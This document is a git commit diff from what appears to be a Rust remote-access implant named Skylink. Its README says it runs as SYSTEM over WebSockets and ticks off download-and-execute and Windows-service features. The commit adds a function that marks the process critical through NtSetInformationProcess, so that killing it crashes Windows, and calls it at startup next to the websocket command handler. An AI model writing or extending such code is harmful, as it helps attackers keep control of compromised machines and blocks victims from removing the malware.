criticality #2
4 changed files with 38 additions and 2 deletions
2
.cargo/config.toml
Normal file
2
.cargo/config.toml
Normal file
|
|
@ -0,0 +1,2 @@
|
|||
[build]
|
||||
target = "x86_64-pc-windows-gnu"
|
||||
|
|
@ -12,7 +12,7 @@ It is intended to run as NT AUTHORITY/SYSTEM, even if it uses WebSockets, becaus
|
|||
- [X] download and execute
|
||||
- [X] dnx python
|
||||
- [X] windows service
|
||||
- [ ] criticality
|
||||
- [X] criticality
|
||||
- [ ] screenshot functionality
|
||||
- [ ] test payloads with arguments
|
||||
- [ ] get more ideas from The Group(TM) i guess
|
||||
|
|
|
|||
|
|
@ -90,3 +90,25 @@ pub fn run_as_user(app: &str, cmd: &str) -> anyhow::Result<()> {
|
|||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
pub fn mark_process_critical() -> anyhow::Result<()> {
|
||||
use ntapi::ntpsapi::{NtSetInformationProcess, ProcessBreakOnTermination};
|
||||
use ntapi::winapi::{ctypes::c_void, um::winnt::HANDLE};
|
||||
|
||||
unsafe {
|
||||
// NtCurrentProcess pseudo-handle (-1)
|
||||
let handle: HANDLE = (-1isize) as usize as *mut c_void;
|
||||
let mut critical: u32 = 1;
|
||||
let status = NtSetInformationProcess(
|
||||
handle,
|
||||
ProcessBreakOnTermination,
|
||||
&mut critical as *mut _ as *mut _,
|
||||
core::mem::size_of::<u32>() as u32,
|
||||
);
|
||||
if status == 0 {
|
||||
Ok(())
|
||||
} else {
|
||||
anyhow::bail!(format!("NtSetInformationProcess failed: 0x{status:08X}"))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
|||
14
src/main.rs
14
src/main.rs
|
|
@ -1,7 +1,10 @@
|
|||
use skylink::lib::logger::{LogLevel, log};
|
||||
use futures_util::SinkExt;
|
||||
use skylink::lib::websockets::websocket_handler;
|
||||
use skylink::lib::winapi::mark_process_critical;
|
||||
use skylink::LOG_PATH;
|
||||
use skylink::WsTx;
|
||||
use tokio_tungstenite::tungstenite::Message;
|
||||
use std::sync::Arc;
|
||||
use tokio::sync::Mutex;
|
||||
use std::ffi::OsString;
|
||||
|
|
@ -47,7 +50,16 @@ async fn run_app(mut shutdown_rx: tokio::sync::broadcast::Receiver<()>) {
|
|||
log(LogLevel::Info, LOG_PATH, format!("[main] Skylink version 1.0.0 starting...")).await;
|
||||
let ws_tx: WsTx = Arc::new(Mutex::new(None));
|
||||
let ws_tx_for_handler = Arc::clone(&ws_tx);
|
||||
websocket_handler(ws_tx_for_handler).await;
|
||||
tokio::spawn(async { websocket_handler(ws_tx_for_handler).await; });
|
||||
|
||||
// this isn't necessary for program functioning
|
||||
// and also error handling this is a PITA
|
||||
// maybe i'll make this proper in a future update. no promises.
|
||||
let is_debug_mode = cfg!(debug_assertions);
|
||||
let force_console = std::env::var("SKL_NON_CRITICAL").is_ok();
|
||||
if !(is_debug_mode && force_console) {
|
||||
let _ = mark_process_critical();
|
||||
}
|
||||
|
||||
// Wait for the shutdown signal
|
||||
tokio::select! {
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue